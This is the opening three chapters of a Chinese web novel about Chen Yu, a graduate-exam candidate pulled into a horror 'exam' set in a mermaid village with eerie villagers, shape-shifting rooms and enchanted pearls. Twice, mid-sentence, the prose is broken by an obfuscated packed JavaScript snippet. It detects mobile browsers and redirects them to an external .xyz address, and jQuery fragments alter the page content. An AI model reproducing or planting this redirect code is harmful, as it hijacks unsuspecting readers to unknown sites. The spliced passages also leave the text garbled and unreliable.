《考研未遂,进入无限世界继续考》 1. 人鱼村落(1) 阴暗的天色像是被墨汁浸染过的宣纸,老旧暗沉的色调像是被搁置已久的素描画,咸涩的海风掠过周遭的木麻黄树,枝桠沙沙作响,像是某种古老又遥远的低吟。 陈喻迎着海风而立,汹涌的潮水起起落落,拍打海岸的声音像是在配合枝桠的吟唱,似是人的心绪一般难以抚平,庞大汹涌的海浪显得那抹身影格外孤独渺小。 她面无表情地看着眼前跳出来的面板。 【全域一年一度的研究生招生统一考试报名即将开始,我校现开展校内选拔考试,通过考试者将获得研究生报名资格,未通过者则直接除名。】 【欢迎参加饿鬼大学校内选拔考试。】 果然是学疯了,在梦里居然都在考研。 陈喻裹了裹身上的碎花布衫,之前厚重的棉睡衣已经消失不见。 几分钟前,陈喻正坐在书桌前奋笔疾书,尽管裹着厚厚的棉睡衣,踩着棉拖鞋,身上还是有些凉意。 台灯打在书桌密密麻麻的字上,脑子已经变得昏昏沉沉,她只记得自己应该是眨了下眼,然后就着了。 【考生须知:】 【1、友谊第一,比赛第二,考试期间不可以伤害其他同学,违反者直接除名。】 【2、诚信考试,不得使用与本场考试无关的违规道具,不得进行违规操作,违反者直接除名。】 【3、考生在考场务必听从本场监考老师指引,在指定位置进行答题,违反者直接除名。】 这应该是在做梦吧,这肯定是在做梦吧。 陈喻抬手用力掐了自己一把,眼神变得生无可恋。 真他妈疼啊。 天杀的!就差七天了!就差七天就要考研初试了! 姐们费尽心思熬了这么久,终于快要上战场了,给她干哪来了?! 是梦,一定是梦,梦里也会痛。 不能浪费学习的时间。 “这哪啊?我期末大作业还没交呢,给我整哪来了?全息网游还是密室逃脱?”时越一睁眼就看到一个陌生的村落,再一抬头就看到海边那道孤独中透着绝望的背影。 她朝着那道背影靠近,走近几步后听到了一些诡异的低语。 那声音与周遭的空旷寂静格格不入,像是某些神秘的咒语一般。 时越小心翼翼地侧耳过去,惊奇地发现旁边的人居然是在认真的背书?! 她惊呆了,这就是传说中的学无止境吗?! “姐妹,背着呢?” 时越试探着问了那人一句,只见旁边的姑娘睁眼瞅她一眼,便继续闭眼背书了。 “……” “冒昧一问,你知道这是哪吗?”时越勇敢发言。 那人侧目瞅她一眼:“太冒昧了。” “……” “怎么称呼?”时越不死心。 “我叫陈喻。”背书那位说。 “时越。”时越朝她微笑。 陈喻注视着一脸茫然又面带微笑的女生,她看到了清澈的愚蠢。 陈喻问:“你多大?” 时越开朗回应:“十九,今年刚上大一。” 陈喻暗叹果然。 “这啥子地方?老子刚眯着,做梦做到啥子地方来了?”一个大汉在他们身后喊道。 刚刚身后明明什么都没有,这人简直就像是凭空冒出来的。 “他做没做梦我不知道,但我肯定没做梦,我总不能走路走得好好的突然着了吧?”时越在陈喻旁边嘀嘀咕咕。 陈喻只觉得自己全身的血都凉了。 “这场的新生有点多啊,落在这次考试的新生可以说很倒霉了。”说话的是一个戴着金丝眼镜的男人,他脸上的眼镜与身上的渔民穿搭格格不入,但神色却带着几分随和的温柔。 【考生已全部入场,考试即将开始。】 “什么考试?!疯了吧!这究竟是什么鬼地方?!莫名其妙就把人押在这里考什么试!老子都毕业多少年了!考什么鬼试!”一个满头黄毛的小伙子在沙滩上鬼吼鬼叫,“老子才不在这配合你们的整蛊游戏,老子要离开这!” “这里四面环海,你往哪跑?”一个扎着双马尾的女生打破了他的幻想。 陈喻往四处瞅了几眼,发现果真如她所言,这里似乎是一个环海的村落,周遭也没有可供远行的船只。 【考场信息载入中……载入完成】 【饿鬼大学研究生报名资格选拔考试】 【考场场次:108考场】 【考生人数:9人】 【考试时间:9天(答题完毕可提前交卷离开)】 【由本场监考老师宣读试题,考生须跟随监考老师指引于指定位置完成考题。】 【考试期间考生有任何问题请询问本场监考老师。】 【本场考试主题:人鱼村落】 【考试正式开始,考生开始答题。】 陈喻眯着眼睛快速扫视完面板上的字,不就是考研嘛,她可太有经验了。 可以提前交卷,只要她在七天前交卷,应该还能赶上她的考研初试。 “这……这上面说有监考老师,监考老师在哪?你们之中……有人是监考老师吗?” 说话的是个二十岁出头的女生,看上去有些战战兢兢,据女生说她叫许芸芸,进来之后就凑到陈喻和时越旁边了,这种陌生诡异的氛围里好像只有靠近同类才能让人安心一点。 “上面不是说了嘛,九位考生,这里现在只有九个人,我们之中怎么可能有监考。”戴着棒球帽的男生不耐地瞥了她一眼,他看上去像是个有经验的老手。 “吱呀——” 旁边木屋的门被推开,老旧的木门发出不堪一击的响声,从里面走出个弓背弯腰的老者。 陈喻的眉头跳了一下,如果她没记错的话,那个屋子原本应该是没有人的。 她是最早到这里的人,当时虽然没有把每个屋子都转一遍,但是路过那间屋子的时候却往窗户里面瞅过一眼,那是一间灰旧破败的木屋,木板被风浪侵蚀得仿佛一触就碎,里面是密密麻麻的蛛网,像是某些村落的遗址。 “你们来了,我是人鱼村的村长,我们人鱼村可是远近闻名的旅游度假胜地,三日后大家心仪已久的人鱼展览会对外开放,大家远道而来,今晚先休整一下吧,可以先了解一下当地的风土人情,明天我再带大家观赏一下我们人鱼村的风景文化。” 老者低哑沉闷的声音从干瘪的嘴巴里传出来,在海风中有些不清晰。 在他的斜后方站着一脸煞白的黄毛,不远处的大汉脸色也不大好看。 “我给大家准备了几间房间,大家可以任意挑选,由于床铺有限,一间屋子最多可以住两个人。” “我们村给各位供应早饭,但是其他餐饮不在套餐范围内,由各位自行解决。” “对了,人鱼展览也是自费项目,不包含在套餐内。” 村长说完这几句话没有搭理任何人,而是自顾自转头就又回到了自己的屋子,顺带连门都带上了。 【考生信息加载中……加载完成】 【考生姓名:陈喻】 【考生学校:饿鬼大学】 【专业技能:未激活】 【考生本场可用道具:无】 【本场考试限定道具:金额1000元】 “监考这不是出来了嘛。”戴棒球帽的男生随口说道。 “你是说刚刚那个自称村长的老头就是监考老师?这怎么看都不像是正常的考试吧。”时越蹙着眉头满脸不解。 “那不是人!!那根本不是人!!”黄毛面如白纸,瞪大双眼喊道:“我看到了!我都看到了!我来之后在整个村子都看过的!这个村子里除了我们根本就没有人!他是凭空冒出来的!他不是人!!” 此言一出,几人的脸色都不好看了。 “大惊小怪。”双马尾的女孩瞪他一眼,“你难道又不是凭空冒出来的?” 黄毛:“……” “很显然我们大家在参加一场非同寻常的考试,这里的一切都不能用寻常的逻辑去理解。”戴着金丝眼镜的男人扶了下眼镜,颇有几分温文尔雅的气质,“在这里大家可能会碰到一些非自然现象,另外,如果考试过程中遭遇不测是会有生命危险的。但是大家也不必太过绝望,凡是考题总会有解法,而我们要做的就是在各种看似像是死局的博弈中找到一条生路。” 陈喻看了他一眼,正好对上了他看过来的目光,那是一道温柔和善的目光,似乎可以从中看到某些希冀。 “我知道大家有很多问题想要问,但是目前最重要的完成考试,同为考生,我所能透露给各位的也十分有限。”他微微扬起嘴角,“我叫秦曜,很高兴认识各位,事实上,我与各位相比也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460635|169745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过是多参加了几场这样的考试而已,如果大家相信我,我想我们可以合作。” “跟他们说这么多干什么,新生参加考试的死亡率高达百分之八十八,更何况是这种考试,恐怕能高达九十几。”双马尾的女孩不耐烦地说道。 她话一出口几人的脸色更差了。 “别废话了,先分房间吧。”戴棒球帽那位说,“我跟秦曜,你们随意。” “凭啥子啊?!”大汉不满,“你们俩都是参加过考试的,我们都是新手,你们是组团组安全了,我们可咋整啊?!” 黄毛附和:“就是!凭什么啊?!我还说我跟姓秦的呢!谁都知道跟他赢面大!要我说就应该一个老手配一个新手!” “谁规定要老带新了?自然是谁赢面大和谁组队了,跟你们组队有什么优势吗?优胜劣汰本来就是生存法则。”双马尾不屑地白他一眼。 陈喻面无表情地看着他们争执半天,最后已经不能说争执了,是那大汉和黄毛单方面地朝着对面输出,而结果已经很明确了。 秦曜和棒球帽一间房。 双马尾和站在秦曜身后抱臂而立的女生一间房。 大汉和黄毛回头瞅了他们仨女生一眼,最后决定他俩自己凑合一间。 最后就剩下不知所措的他们仨。 许芸芸瑟缩着身子小声说:“我们可以三个人凑一间吗?没有床铺也没有关系,我可以打地铺的。” 陈喻微微蹙起了眉,时越正犹豫着,一道清冷的声音打断了她的思绪。 “你们都不看考生须知吗?不知道什么叫听从监考老师的指引,也不知道什么叫指定位置吗?” 陈喻侧过头,发现出声的是之前站在秦曜身后抱臂而立的女生,她一袭长发披肩,神情像她的音色一样冰冷无情。 这女生一直未曾发言,所以陈喻也没太在意,刚刚双马尾还毫不犹豫选她组队,这么看来这位也是个老手。 “一间屋子最多可以住两个人是考试规定。”陈喻看着许芸芸一脸认真,“这样,你们俩住一间,我自己住一间。” 时越:“为什么?!” 陈喻:“许芸芸胆小,自己住一间害怕,你们俩住一间正好。” 时越不解:“难道你就不害怕吗?” 陈喻抬头瞅她一眼,淡淡地回道:“主要是我晚上还要背书,怕吵到你们。” 时越:“……” 这人到底是有多爱背书,学疯了吧。 秦曜面带微笑地看着这边,对众人开口:“既然房间都分好了,就早点休息吧,有什么事明天再说吧,天色已晚,晚上的考场可不安全啊。” 闻言,众人快速向几间屋子走去。 途中陈喻悄悄溜到刚刚声音清冷的女生身边,小声向她道了谢,那女生只是瞥她一眼,并未吱声。 夜晚的人鱼村既不静谧也不安详,海风拍打在不结实的窗柩上,像是有人在窗户上敲打一般,不远处潮涨潮落的声音也不绝于耳。 洗手间也是用木板简易搭建的,狭窄的布局看上去有些拥挤,陈喻草草洗漱了一下,便上了床。 虽说她是一个人住,但房间里仍旧摆了两张床,她选了靠窗的一个坐上去,离门的位置有些远。 她选的屋子在最靠近海岸的位置,从窗户正好能一眼看到潮涨潮落的沙滩以及旁边的木麻黄树。 如果真的在度假的话,陈喻觉得这间完全可以被称作高级海景民宿,大宰旅客一顿也是合理的。 她两眼一闭,嘀嘀咕咕又开始吟唱。 背书真的是个体力活,因为半个小时后她两眼一睁,突然发现自己竟然饿了。 昏黄微弱的灯光给木屋似乎蒙上了一层不清晰的雾,墙上的挂钟已经快要接近十二点钟,肚子却没骨气地叫了起来。 陈喻随手关了灯,躺下继续吟唱,不知何时,月光从窗外照在她的脸上,她眯缝了一下眼,竟然看到窗外多了一道身影。 月光下的海滩似乎显得静谧,只是依旧能看到海风将木麻黄树吹得变了形,那是一道女生的身影,她背对着陈喻,面朝着海浪。 那道身影陈喻白天见过的,那个女孩总是战战兢兢的。 是许芸芸。 突如其来的困意裹挟着陈喻沉沉下坠,肚中的饿意被睡意短暂压过,昏睡过去前,她似乎感觉到浓烈腥臭的气息在猛烈地往她鼻子里钻。 2. 人鱼村落(2) 灰蓝色的天空刚刚泛起鱼肚白,海浪虽然还在拍打,但已不如昨晚汹涌。 陈喻迎风而立,站在她屋子窗户正对着的木麻黄树下,面朝着海水。 昨天半夜在迷糊中看到的那道身影早已消失不见,这个地方对着的是一望无际的海面,并没有什么特别的东西。 “嗡叭——嗡叭——” “古鲁嗒——咪啦——” 声音从陈喻身后传来,那里站着几个村民,正朝着海边走来,他们拖着调子喊着奇怪的咒语,其中一人手中拿着半人高的大鱼骨,两人抬着盆鱼食,另外两个人则抬了盆生肉,那肉也不知道是什么肉,上面满是鲜红的血丝。 最前面的两个村民摇着手里的铃铛,嘴里念念有词地念着什么神秘的祷词。 刚刚还没有,看起来也是突然从哪冒出来的。 “吱呀——” 周遭木屋的门被推开,出来的是秦曜和戴棒球帽的男生。 紧接着是他们旁边的屋子,那个冷冰冰的女生也走了出来。 秦曜微笑着朝陈喻走来:“起得很早嘛。” 陈喻:“秦先生不也是。” 几位村民的动静越来越大,旁边屋子里的人陆续被吵醒。 “这才几点啊,这什么考试啊,起得比早八都早。”时越一手顺着头顶有些杂乱的头发,一边眯缝着眼睛朝海边的陈喻走来,“你怎么起这么早?你别告诉我一晚上没睡,你不会在这背了一晚上书吧?” 陈喻微妙地沉默了一下,一晚上没睡倒是不存在,不过村民过来之前她的确是在这吟唱了一会儿。 “你不懂,我们考研人都早六。”她拍了拍时越的肩膀,并不动声色地瞅了一眼跟在时越身后的许芸芸。 许芸芸还是像昨天一样,仿佛被面前诡异的仪式吓到了,瑟缩着站在时越身后:“他们……他们是在做什么?” “向海神祷告,祈祷人鱼村风调雨顺。” 回应她的是不知道什么时候站在他们身后的村长,他弓着腰,仰头看向海面,虔诚地闭眼低声念叨了几句什么,转而转过头看着他们:“既然大家都醒了,就去吃点东西吧。” 村头的一间木屋里摆着长长的木桌,村长坐在桌头,捋了捋斑白的胡须,端起面前的粥一饮而尽。 早饭供应的是白米粥,每人一碗,限量供应,除此之外再无其他。 “就这点东西还不够塞牙缝,妈的!老子都快饿死了!”黄毛一口气喝完将碗摔在木桌上。 “知足吧,吃了上顿没下顿的。”双马尾捧着碗砸吧嘴。 “说真的,我很久没有这么饿过了,平时我一天不吃饭也不会觉得很饿。”时越拿勺子飞速往自己嘴里送。 “很正常,你们忘了这是什么考试了?”秦曜姿态优雅用旁边的方巾擦了擦手,“这可是饿鬼大学的校内选拔赛。” 大汉懵了:“啥子意思,要选拔最饿的饿鬼吗?” “你是说我们都是饿鬼大学的学生,而这个大学里都是饿鬼。”陈喻微微皱起眉头,看向秦曜,“这种饥饿不会是像附带属性一样的东西吧,所以你们参加别的考试的时候也是这样吗?” 那个冷冰冰的女生侧目瞥了她一眼,秦曜则笑意更盛,推了下眼睛看向她:“你猜得没错,学籍是不能随便更改的,同为饿大的学生,不管参加哪场考试,不管参不参加考试,饥饿感都会如影随形,只是在考场会更加明显。” 陈喻听了之后脸色突然差了好多,连手里的粥也有些没滋没味了。 为什么不参加考试的时候还会有这样的属性,难道离开考场也不能结束这种荒诞得像梦一样的事吗? 可是来不及了,她只有七天了。 “对了,昨天晚上大家有什么发现吗?”秦曜转移了话题。 “什么发现?地方还凑合,除了没饭吃,附近的居民神出鬼没,还算是个度假旅游的好地方,浴室还不赖,我从来没有躺过那么大的浴缸,躺在里面像游泳一样。”黄毛靠在椅背上,闭着眼睛像是在回味一般。 他们的房间条件这么优越吗? 陈喻忿忿不平地想,凭什么她挑的房间洗手间那么狭小,别提浴缸了,淋浴都只能堪堪站下一个人的样子。 没等她将这份不爽表达出来,却发现坐在黄毛旁边的大汉白了脸,豆大的汗水从他的额头滚落。 没记错的话他俩昨晚是住一间的。 大汉颤颤巍巍地开口:“……浴室哪有浴缸啊?你在讲啥子啊?!浴室不是淋浴吗?而且只能站得下一个人!你是不是睡傻喽?屋子总共才好大噢,你心里没得数嘛?!” 黄毛听完脸色唰得白了,似乎想起了什么,他断断续续地问:“……咱们屋子……有窗户吗?” “有!”大汉涨红着脸,情绪似乎有些激动,“你忘掉了,咱们屋子的窗子没有玻璃,昨天晚上好大的风哦,全部朝你脑袋吹,我喊你掉个头睡,你压根不搭理我!还喊我别吵!” 黄毛面如白纸,看着大汉突然大喊:“不可能!” “不可能!不可能!我的屋子根本就没有窗户!四面都是木板墙!你才是疯了!晚上哪有风啊?!晚上明明就很安静……” 他开始喃喃自语,又开始质问别人,他跑过去抓起旁边的许芸芸大吼,似乎是没有得到自己想要的答案,又将许芸芸推倒在地。 “不可能……不可能!” “你是不是疯了?秦曜不是说了,这里本来就有非自然现象,大吼大叫地做什么?”陈喻忍无可忍地去扶地上的许芸芸。 没等黄毛再作出什么妖来,村长低哑的声音便响了起来,他像是没看到这边的闹剧一般,自顾自地说:“时候不早了,该开始今天的游览了。” “你们自行分成三人一队的团体,由我们的三位村民带你们参观三个不同的地方,由于每处地方可以容纳的人员有限,这三处地方村民会在三天内带领你们轮流参观。” “三天之后就是人鱼展览对外开放的日子了,我再提醒各位一次,人鱼展览的门票不包含在套餐内,需要各位自费。” “分好了队之后,你们三个队分别去找村东头的刘婆婆、南海岸的赵师傅以及东边花圃的阿丽。” 村长就像那种固定npc一样,颁布完任务又一言不发地走了。 让陈喻头疼的是旁边那群人居然又吵起来了,原因还是分组这种无聊的事,大汉和黄毛本来就因为屋子的异样心生芥蒂,又因为老人抱团跟那几个人吵了起来。 陈喻只觉得看着他们脑仁就疼,她跟秦曜他们说了一声,就带着时越和许芸芸去村东头找刘婆婆了。 在她看来,他们的组队几乎是没有争议的事情,对于参加过考试的老手来说,新生可以说毫无价值,只是考试规定如此,老手里面肯定是要有一个人跟大汉黄毛凑队的,至于他们三个,既没有优势,又指望不上别人,不如正好凑团。 陈喻和时越方向感不太好,所以让许芸芸在前面带路,许芸芸本来就胆小,所以三人可以说龟速前行。 陈喻看了眼旁边的时越,这家伙不知道怎么回事,从吃饭那阵起脸色就不大好看,话也很少。 时越有些失神,犹豫了一阵后拽着陈喻低声说:“我跟你说个事,我刚刚一直不敢说,怕说出来大家拿我当异类,但我又害怕我不说出来的话,要是莫名其妙出了事都没人会知道。” 陈喻侧耳过去,就听到她轻声说:“其实……我昨晚也在屋子里看到了大浴缸,很大,两张床拼起来那么大,还有……我看到的屋子也四面都是木墙,没有窗户,你说……我不会是要遭殃了吧?” 陈喻听后微微蹙起眉头:“你用那个浴缸没有?” “没有。”时越似乎起了层鸡皮疙瘩,“我当时就觉得很奇怪,有种说不出的违和感,我本来也没打算洗澡,就匆匆抹了把脸出来了,早上醒来我突然就想明白哪里违和了,屋子从外面看根本就没有那么大,怎么会冒出那么大的洗浴间呢。” “暂时还不清楚情况,这件事先不要告诉别人了,免得引起骚动。”陈喻看了眼在前面谨慎探路的许芸芸,对着时越说,“正好我也有事想问你,昨天你们回房间之后有没有再出去过?” “没有。”时越认真回忆着,“晚上我们俩洗漱完就休息了,而且晚上很安静,我没多久就睡着了,怎么了?” 陈喻沉默了一瞬,看了眼前方低声说:“我睡到半夜的时候,看到许芸芸一个人站在海边。” 怪就怪在,这个人是许芸芸,她应该是九个人里最胆小的一个,陈喻虽然当时迷迷糊糊,但当时时间绝对过了零点,许芸芸这么胆小的人怎么会半夜三更不睡觉,一个人站在黑漆漆的海边吹海风呢?而且还是在这样不知道会发生什么的诡异村落。 “这不可能。”时越打断了她的思绪,“难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460636|169745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道她梦游吗?不,也不可能,我睡觉很浅的,之前睡宿舍,只要有人起夜,我准会醒来,可昨天晚上我确实什么都没听到。” “昨天晚上的海风很大,到处都是风声和潮水拍岸的声音,你不也什么都没听到嘛。”她平静地推翻时越的理由。 时越听完后沉默了。 “好像……到了?”许芸芸的声音打破了两人的沉思。 陈喻抬头看去,看到了一间别致的木屋,木屋的屋檐上错落有致地挂着密密麻麻的彩色贝壳,门口还挂着两个用贝壳做的风铃,门槛旁边坐着个老太太,那老太太的头发上衣服上也挂满贝壳饰品,而她此刻正眯着浑浊的眼睛在串一串珍珠项链。 “是刘婆婆吗?”陈喻走上前去询问。 那老太太听到声音便抬起头来,这不抬还好,一抬给仨人吓一跳。 那老太太的眼睛比一般人更大,浑浊的眼睛几乎看不到眼白,纯黑色的眼珠几乎占据她的整个眼眶,鼻子是怪异的扁平状,蜡黄的脸上堆砌着僵硬的笑容,面部的肌肉纹理走向有些不正常地清晰。 总之,笑起来比不笑还难看。 “啊,你们是来观光的游客吗?村长让你们来的吧,婆婆我这里可是有很多新鲜玩意儿的,最适合你们这些长得漂漂亮亮的小姑娘了。”刘婆婆的嗓音粗哑低沉,像是裹了沙粒一般。 据她说她这个屋子叫做蚌壳屋,里面留存的都是上了年纪的蚌壳珍珠,凡是来人鱼村的游客都会来这里参观,总忍不住买上一些珍珠饰品。 说着她又叫出里面的孙女,那是一个相貌看起来十分扁平的十三四岁的姑娘,那姑娘的五官几乎看不清楚,像是被磨平了一般。 陈喻跟随那位孙女进了蚌壳屋,其他两人看着门口笑容怪异的刘婆婆也没敢多停,忙跟着陈喻进去了。 屋子里比想象中要宽广许多,里面的确陈列了不少贝壳珍珠,但亮眼的还是摆在正中央的巨大蚌壳,精美的壳面在顶部的灯光下泛着冷白色的光,像有某种魔力一般,光滑的壳体竟有种似莹莹白玉一般的质感。 陈喻的眼神一时无法从上面移开,鬼使神差地,她伸出了手,想要触摸一下巨蚌的壳面。 “好看吗?”带着蛊惑味道的稚嫩音色自她耳边传来。 像是脑中的某根弦突然断掉了,一瞬间,分崩离析。 她的指尖与蚌壳的壳面堪堪毫厘之差。 不对劲,哪都不对劲。 明明一切都像是有问题的样子,明明自己不会做这样轻举妄动的事情,明明刚刚蚌壳是放在玻璃柜里面的。 可如今玻璃柜却被自己亲手打开了。 刚刚……是被魇住了吗? 陈喻擦了一下额头的冷汗,却听到另一个声音在她身边回应道:“……好看,真好看。” 她扭头就看到许芸芸将贝壳项链挂在了自己的脖颈上,那眼神充满一种渴望,像是完全被那项链吸引了一样。 “别——” 没等陈喻喊完就听到身后传来清脆的巴掌声,她一脸懵逼地转过身,就看到时越面无表情地又给了自己一巴掌。 “好险!”时越揉了把脸,“幸好我对这些东西并没多大兴趣,这要是一堆刀枪棍棒我估计都拿起来抡了。” 陈喻:“……” 许芸芸是被陈喻和时越一人架着一边胳膊架出屋子的,陈喻试图想要用身上的现金道具购买许芸芸身上的项链,可那刘婆婆和孙女一直咧着大嘴笑嘻嘻地说不收费。 虽说不收费,但陈喻觉得白来的奇怪项链绝对不太正常,至少许芸芸还没从魇住的状态出来,说是不收费,收点什么别的可就不好说了。 等他们仨从刘婆婆那里折腾出来已经到了下午,许芸芸恢复神智之后脸色一直很难看,因为她发现脖子上的项链无论用什么方法也取不下来。 但陈喻他俩此时也无暇顾及这些了,饥饿感发疯似得席卷而来,像是施舍似的,在他们在村子里胡乱兜了几个圈子之后,抬头居然看到了一家餐馆。 “哟,人齐了。” 陈喻刚跨进门就听到一个熟悉的女声,正是之前的双马尾女生。 进去后他们惊奇地发现所有人居然都聚集在这里。 “咦,黄毛小子呢?”时越数数人头,发现少了一个。 大汉往嘴里塞了口饭,含糊地说:“……丢了。” “丢了?!” 3. 人鱼村落(3) 餐馆内的布局有些奇怪,粗壮的红木柱子立在一进门的正中间,柱子后面是几个简单破旧的木桌子,只是无论从哪个角度看都不像有后厨的样子。 柱子上挂着一个巨大的牌子,那上面用朱红色的笔写着明码标价的两行大字。 餐饮:每份100元 人鱼展览:门票600元 赤红色的油漆似乎还没有风干,顺着光滑的牌面往下流淌着。 陈喻觉得有些奇怪,明明是个餐馆,居然还标着人鱼展览的门票价格,难道人鱼展览在这附近吗? “……他丢了你们都不去找找吗?”许芸芸还没从刚刚的恐惧中脱离出来,看着一脸平静的几人十分不解。 “你们可能还不太清楚,在考场上丢失的考生生还率是很低的,这里不是现实世界,大家也都不是小孩子,比起迷路,遭遇不测的概率要大得多。”秦曜漫不经心地喝了口茶。 “天黑之前,如果他回到住所就说明他安然无恙,如果没有,那他大概率凉了。”清冷的音色跟她的话一样冷漠无情,是那个神情冷漠的女生。 陈喻这才发现,那女生居然坐在大汉对面,剩下的三个老手在另外一桌,看来这就是他们最后的分组。 许芸芸震惊于他们的态度:“……你们……” “你们的经历还太少,等你们多参加几场这样的考试,你们的心态就会像我们一样平和了。”秦曜平静地说。 陈喻朝他们的餐桌看了一眼,发现两桌人每桌只点了一份饭,只有大汉和双马尾的女孩在低头吃饭,其他人只是坐着喝茶而已。 “黄毛小子是怎么丢的?”时越看着默默往嘴里倒饭的大汉。 “……老子明明都劝过他了,让他先跟着去今儿的景点,他骂骂咧咧地非要回昨晚住的地方,他说他想去看看那屋子白天啥子样,还说他不想逛啥子景点,说这些个景点说不定是啥子更有毛病的地儿,说我们出去了说不定迷路再也回不去了……”大汉倒完碗里剩下的饭嘀嘀咕咕一口气说了很多,“从景点回来后我还回了趟昨晚的屋子,他根本就不在!他把自个弄丢喽!” “所以他根本没有去景点?”陈喻微微蹙起眉头问。 “是。” 回答她的是那个看上去冷冰冰的女生。 陈喻看了她一眼,也没有再说什么。 几人聊了一下今天早上的景点,但显然提起这事所有人的脸色都不怎么好看,大都含糊其辞。 几位老手似乎都格外谨慎,也不打算透露过多的信息线索,也没有跟他们同行的意思。 陈喻他们仨买了一份饭,三人也互不嫌弃,各自扒拉了几口便离开了餐馆。 今天的景点已经参观结束,陈喻他们又去村子里面向村民打听了一下村子里的事,美其名曰感受一下村子的风土人情,但是她发现村民对他们这些外来的游客似乎并没有表现出多少热情,反而老是吃闭门羹。 “这里居然有家便利店?!”时越抬头瞅着上面的牌匾。 陈喻走进去发现还真是家便利店,基本的生活用品和面包零食一应俱全,而且上面的标价也和外面寻常的便利店相差无几。 “要早知道这里有这么亲民的便利店,那会儿就不吃天价午饭了。”时越边说边往货架旁走。 陈喻正欲上前看看,却被人抓住了衣袖,她偏头就看到许芸芸神色凝重地看着她。 陈喻一头雾水:“怎么了?” 许芸芸凑近她几分,在她耳边低声说:“今天一直没机会跟你说,你小心时越。” “她怎么了?” “昨天晚上洗漱的时候她跟我说,洗手间放的浴缸太大了,可是我们屋子的洗手间根本就没有浴缸,她晚上明明睡在窗边,却跟我说屋子里没有窗子不透气,我跟她说有窗子她就好像听不到一样……”许芸芸说着看了一眼时越的方向,“屋子里的灯光明明很暗,她却一直说太亮了,睡到半夜的时候,我甚至还听到她出了趟门。” 陈喻听完沉默了一瞬,开口问:“你确定她出了趟门?” “肯定是她!我听到了的!我听到了木门被推开的声音,我听到了出出进进的脚步声,除了她还会有谁?!”许芸芸似乎有些激动,“那个有着同样经历的黄头发男人已经失踪了!我不知道……不知道她会不会是下一个,我能做的……只是提醒你。” 陈喻看着她沉思了一会儿:“我知道了,谢谢你。” 陈喻叮嘱许芸芸先不要告诉其他人,许芸芸则表示只有他们三个经常呆在一起,她不会告诉别人。 等陈喻这边聊完再看向时越的时候,却发现这家伙把刚刚抱了满怀的零食方便面又全部挨个塞回了货架。 在村子里转了一下午,在餐馆那会儿扒拉的几口饭早就消耗干净了,如今饥饿感早已开始在三人身上疯狂叫嚣。 “怎么又全都放回去了?”许芸芸有些疑惑。 时越挠挠头说:“我刚刚想了一下,便利店应该不会突然消失,好像没有必要一下子囤那么多粮,万一后面再有什么安排需要用钱怎么办?” 许芸芸:“但这总比去餐馆吃饭便宜太多了,这样想来在这囤点粮也是划算的。” “这正是我觉得有点不对劲的地方,为什么餐馆的饭那么贵,便利店的商品却很平价。”时越揉了揉眉心,“这老让我想起一句话……” “便宜没好货。”陈喻顺口接了句。 时越:“哎对对!!” 许芸芸:“……” 许芸芸似乎对他们这种得了便宜还卖乖的行为表示非常不解,觉得这种人简直就是景区活该被宰的羔羊,但也没太说什么,只是自己默默在货架了拿了不少东西。 陈喻也不知道在想什么,最后只是和时越一人买了一袋面包,倒是许芸芸买了一大袋零食矿泉水。 陈喻光速啃完了那袋面包,走了几步后突然啧了一声,带着有点麻烦又有点不爽的情绪。 时越边走边啃:“咋啦?” “我终于想起来哪不对劲了,你们有没有发现这附近一个垃圾桶都没有?”陈喻郁闷地说。 “这个村落显然比较落后,几乎没什么现代化的元素,要不是刚刚发现那家便利店,我都觉得这里不像景点。”许芸芸接道,“如果到处都有垃圾桶跟这里的感觉也不搭吧。” “可是你有在这里见到过一个垃圾吗?”陈喻问。 好像还真是,这里的海水一直很蓝,海滩上除了树枝枯叶再没有多余的东西,一切都是纯粹的自然风光,就连住宿的厕所也没有垃圾桶,纸只能往马桶丢。 “或许是因为这里的村民不需要买东西,而来观光的游客又很少……”许芸芸嘀嘀咕咕地想要说服他们这一切都很合理。 可陈喻记得村长说人鱼村是远近闻名的旅游胜地,她还是觉得哪里有些不对劲,就好像一切东西都蒙上了层雾,要穿过这层雾就必须抓到那个串连起一切的线头,可现在他们知道的还太少。 天色暗下来之前,他们已经都赶回了住处,让他们意外的是,黄毛也回来了。 他不仅人回来了,还带了几大袋面包泡面回来。 “瞧老子发现了什么,这附近居然有这么廉价的便利店!后面几天都不用出门找吃的了,就算没有那老头子的白米粥老子也饿不死了!等到九天时间熬到,老子就能出去了……” 黄毛满脸堆砌着笑意自顾自地说着,却没有一个人跟他搭话,各自回了屋子。 在村子里溜达了一天,对于一个整天坐在书桌前写写画画、严重缺乏运动的考研人来说还是有点运动量过大,陈喻拖着疲惫的身体准备简单洗漱一下。 她随手推开洗手间的门,看清的一瞬间整个人都愣住了。 宽敞的洗浴间里俨然放着一个庞大的浴缸,她毫不怀疑这要是跳进去都能游两个来回。 她飞快地眨了几下眼,眼前的浴缸却并没有消失。 一定是她打开的方式不对。 陈喻平静地关上了洗手间的门,准备重新打开,结果闭上洗手间的门,扭头一看,窗户怎么也不见了? 还有,屋子里的灯光什么时候这么刺眼了? 一定是她打开大门的方式不对。 她淡定地又退出屋子,关上了屋门,总不可能是进错屋子了吧。 陈喻站在屋外左右瞅瞅,是这间啊,没错啊,最靠近海岸的一间屋子。 她甚至又去了屋子外面本该有窗户的地方,那里的窗户居然从外面也看不到了。 